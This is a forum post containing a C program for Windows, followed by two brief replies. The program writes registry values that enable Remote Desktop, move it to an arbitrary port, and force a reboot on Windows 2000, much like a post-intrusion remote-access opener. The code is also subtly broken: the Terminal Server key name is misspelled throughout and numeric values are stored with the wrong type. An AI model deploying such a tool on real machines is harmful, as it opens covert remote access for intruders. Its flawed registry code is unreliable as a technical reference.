#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
void CreateStringReg(HKEY hRoot,char* szSubKey,char* ValueName,char* Data){
HKEY hKey;
long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
if(lRet!=ERROR_SUCCESS){
printf("error no aRegCreateKeyEx %s\n",szSubKey);
return ;
}
lRet=RegSetValueEx(hKey,ValueName,0,REG_SZ,(BYTE*)Data,strlen(Data));
if(lRet!=ERROR_SUCCESS){
printf("error no aRegCreateKeyEx %s\n",ValueName);
return ;
}
RegCloseKey(hKey);
}
void CreateDWORDReg(HKEY hRoot,char *szSubKey,char* ValueName,DWORD Data){
HKEY hKey;
long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
if(lRet!=ERROR_SUCCESS){
printf("error no aRegCreateKeyEx %s\n",szSubKey);
return ;
}
DWORD dwSize=sizeof(DWORD);
lRet=RegSetValueEx(hKey,ValueName,0,REG_SZ,(BYTE*)&Data,dwSize);
if(lRet!=ERROR_SUCCESS){
printf("error no aRegCreateKeyEx %s\n",ValueName);
return ;
}
RegCloseKey(hKey);
}
void Reboot(){
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) return;
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);
}
int main(int argc, char** argv) {
DWORD Port=atoi(argv[1]);
CreateStringReg(HKEY_LOCAL_MACHINE,"SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\netcache","Enabled","0");
CreateDWORDReg(HKEY_LOCAL_MACHINE,"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer","EnableAdminTSRemote",0x00000001);
CreateStringReg(HKEY_LOCAL_MACHINE,"SOFTWARE\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon","ShutdownWithoutLogon","0");
CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Termianl Server","TSEnabled",0x00000001);
CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\TermDD","Start",0x00000002);
CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\TermService","Start",0x00000002);
CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Termianl Server","fDenyTSConnections",0x00000001);
CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Termianl Server\\RDPTcp","PortNumber",Port);
CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Termianl Server\\WinStations\\RDP-Tcp","PortNumber",Port);
CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Termianl Server\\Wds\\rdpwd\\Tds\\tcp","PortNumber",Port);
CreateStringReg(HKEY_USERS,".DEFAULT\\Keyboard Layout\\Toggle","HotKey","2");
CreateDWORDReg(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Termianl Server","fDenyTSConnections",0x00000000);
OSVERSIONINFO osver={sizeof(OSVERSIONINFO)};
GetVersionEx(&osver);
if(osver.dwMajorVersion==5&&osver.dwMinorVersion==0){
Reboot();
}
return 0;
}
uj5u.com熱心網友回復:
只是改了注冊表么?權限都有了?uj5u.com熱心網友回復:
什么權限?是看著書自學的,不太清楚
轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/97007.html
標籤:Windows客戶端使用
上一篇:服務器遠程連接登錄 --- 登入失敗:禁用當前的賬戶
下一篇:按鈕是怎么產生的 【視窗管理器】
